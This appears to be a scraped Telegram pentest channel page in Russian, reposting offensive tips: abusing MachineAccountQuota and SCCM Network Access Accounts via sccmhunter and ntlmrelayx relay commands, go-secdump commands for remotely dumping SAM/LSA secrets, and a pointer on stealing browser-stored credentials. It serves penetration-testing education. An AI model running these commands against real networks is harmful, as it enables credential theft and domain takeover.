Fsecurity | HH
Open in Telegram
👾 Канал про КБ и пентест Наш Discord: https://discord.gg/Eg8aDS7Hn7 ✉️ По сотрудничеству: @OxHaskar 🍩 Поддержать: https://www.donationalerts.com/r/xackapb
Show more2 062
Subscribers
-124 hours
-57 days
-730 days
Posts Archive
2 063
Repost from RedTeam brazzers
Продолжим тему интересных вопросов с собесов, которые когда-то не вошли в подкаст :)) Думаю, все знают про MachineAccountQuota — количество компьютерных УЗ, которые могут добавлять пользователи в домен. Дефолтное значение 10. Однако, как этим злоупотреблять? В основном все вспоминают следующие основные кейсы:
- NTLM Relay / иной функционал абуза , для эксплуатации которого требуется компьютерная учетная запись, например, настройка RBCD
- Небезопасные ACL компьютерных учетных записей домена
Впрочем, есть еще один интересный вектор, который связан с SCCM и NAA (Network Access Accounts). Это специальные аккаунты, которые предоставляются SCCMом для того, чтобы клиент мог получить доступ к Distribution Point для загрузки необходимых файлов. Учетные данные от NAA в большинстве своем пушатся абсолютно на все компьютеры, управляемые SCCMом.
Если вдруг у передаваемой учетки недостаточно порезаны права, то у нас появляется вектор повышения привилегий :)
Итак, кейс первый. MAQ > 0 (или мы хакнули компьютерную УЗ). В таком случае берем инструмент sccmhunter и запускаем его следующим образом:
python sccmhunter.py http -auto -u pentest -p lolkekcheb123! -d abc.ru -dc-ip 192.168.0.1-auto автоматически создаст УЗ. Можно указать уже существующую через -cp , -cn.
Однако, что если MAQ = 0? В таком случае мы можем осуществить ретрансляцию существующих кред любой машинной УЗ на SCCM и извлечь NAA-креды. Для этого берем форк , запускаем:
python3 ntlmrelayx.py -t http://sccm.sccmlab.local/ccm_system_windowsauth/request --sccm --sccm-device test12345 --sccm-fqdn sccm.sccmlab.local --sccm-sleep 10 -smb2support-t <- Site Server, на который релеим
—sccm-device <- произвольное имя, которое появится в админке SCCM. Это имя как бы добавляемого устройства
—sccm-sleep <- таймаут, в течение которого ждать получения политики
Далее триггерим любым удобным способом любой компьютер. ntlmrelayx сдампит для нас любезно файл naapolicy.xml с учетными данными от NAA-аккаунта, которые можно расшифровать так, как показано в блоге.2 063
Repost from Pentest HaT
🔄🖼️ go-secdump v0.3.0
Инструмент для удалённого копирования 🏠 Windows секретов (SAM, LSA) без сохранения на диск
Добавлена поддержка Kerberos аутентификации
username + password username + NT Hash username + AES Key cached credentials on Linux (TGS or TGT in .ccache file)Пример:
./go-secdump --host DC01 --user Administrator --pass Password --local --sam --lsa --dcc2
Relay:
./go-secdump --host 192.168.0.100 -n --relay
Основные опции:
--host <target>
-P, --port <port>
-d, --domain <domain>
-u, --user <username>
-p, --pass <pass>
-n, --no-pass
--hash <NT Hash>
--local
-k, --kerberos
--dc-ip
--target-ip
--aes-key
--dump
--sam
--lsa
--dcc2
--relay
--relay-port <port>2 063
Repost from AP Security
#pentest
📱 Сохраненные учетные данные веб-браузера
Организации, использующие Microsoft Edge или Google Chrome для хранения учетных данных своих пользователей, уязвимы из-за злоупотребления API CryptUnprotectData (T1555.003)
О том, как это можно использовать на проектах, в следующей статье.
Приятного прочтения 📔
